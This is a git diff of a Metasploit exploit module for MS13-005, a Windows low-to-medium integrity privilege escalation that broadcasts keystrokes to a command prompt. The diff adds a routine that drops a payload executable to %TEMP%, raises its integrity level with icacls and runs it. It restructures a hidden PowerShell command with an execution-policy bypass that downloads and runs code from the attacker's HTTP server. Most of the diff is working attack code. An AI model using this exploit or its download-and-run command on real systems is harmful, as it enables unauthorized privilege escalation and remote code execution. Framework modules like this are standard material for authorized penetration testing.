diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index 55b5a2a3177a..21eec063f948 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -15,29 +15,30 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Post::File + include Msf::Exploit::FileDropper def initialize(info={}) super( update_info( info, 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation', 'Description' => %q{ - The Windows kernel does not properly isolate broadcast messages from low integrity - applications from medium or high integrity applications. This allows commands to be - broadcasted to an open medium or high integrity command prompts allowing escalation - of privileges. We can spawn a medium integrity command prompt, after spawning a low - integrity command prompt, by using the Win+Shift+# combination to specify the position - of the command prompt on the taskbar. We can then broadcast our command and hope that - the user is away and doesn't corrupt it by interracting with the UI. - Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, - Server 2012, RT. Spawning a command prompt with the shortcut key does not work in - Vista so you will have to check if the user is already running a command prompt - and set SPAWN_PROMPT false. + The Windows kernel does not properly isolate broadcast messages from low integrity + applications from medium or high integrity applications. This allows commands to be + broadcasted to an open medium or high integrity command prompts allowing escalation + of privileges. We can spawn a medium integrity command prompt, after spawning a low + integrity command prompt, by using the Win+Shift+# combination to specify the position + of the command prompt on the taskbar. We can then broadcast our command and hope that + the user is away and doesn't corrupt it by interacting with the UI. Broadcast issue + affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT. + But Spawning a command prompt with the shortcut key does not work in Vista so you will + have to check if the user is already running a command prompt and set SPAWN_PROMPT + false. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ', - 'Tavis Ormandy', #Discovery - 'Axel Souchet' #@0vercl0k POC + 'Tavis Ormandy', # Discovery + 'Axel Souchet', # @0vercl0k POC + 'Ben Campbell ' # Metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -59,21 +60,17 @@ def initialize(info={}) register_options( [ - OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]) + OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]), + OptBool.new('FILESYSTEM', [true, 'Drop payload to filesystem and execute', false]) ], self.class ) - register_advanced_options( - [ - OptBool.new('EEGG', [false, 'Anderson command technique',]) - ] - ) end # Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb # Or use GetToken railgun calls? def low_integrity_level? - tmp_dir = expand_path("%TEMP%") + tmp_dir = expand_path("%USERPROFILE%") cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin @@ -120,11 +117,54 @@ def cleanup end end - def primer - e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\ndyB0aGUgV2hpdGUgUmFiYml0Lg0KS25vY2ssIGtub2NrLCBOZW8u" + def exploit + # First of all check if the session is running on Low Integrity Level. + # If it isn't doesn't worth continue print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level? + # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which + # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low + # integrity process can write. + drop_to_fs = false + if datastore["FILESYSTEM"] + payload_file = "#{rand_text_alpha(5+rand(3))}.exe" + begin + tmp_dir = expand_path("%TEMP%") + cd(tmp_dir) + print_status("Trying to drop payload to #{tmp_dir}...") + if write_file(payload_file, generate_payload_exe) + print_good("Payload dropped successfully, exploiting...") + drop_to_fs = true + register_file_for_cleanup(payload_file) + payload_path = tmp_dir + else + print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") + drop_to_fs = false + end + rescue ::Rex::Post::Meterpreter::RequestError + print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") + drop_to_fs = false + end + end + + if drop_to_fs + command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}" + make_it(command) + else + super + end + + end + + def primer + url = get_uri() + download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" + command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}" + make_it(command) + end + + def make_it(command) if datastore['SPAWN_PROMPT'] @hwin = client.railgun.kernel32.GetConsoleWindow()['return'] if @hwin == nil @@ -159,11 +199,6 @@ def primer end print_status("Broadcasting payload command to prompt... I hope the user is asleep!") - data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) - url = get_uri() - download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" - command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}" - command = Rex::Text.decode_base64(e) if datastore['EEGG'] command.each_char do |c| print c if command.length < 200 client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)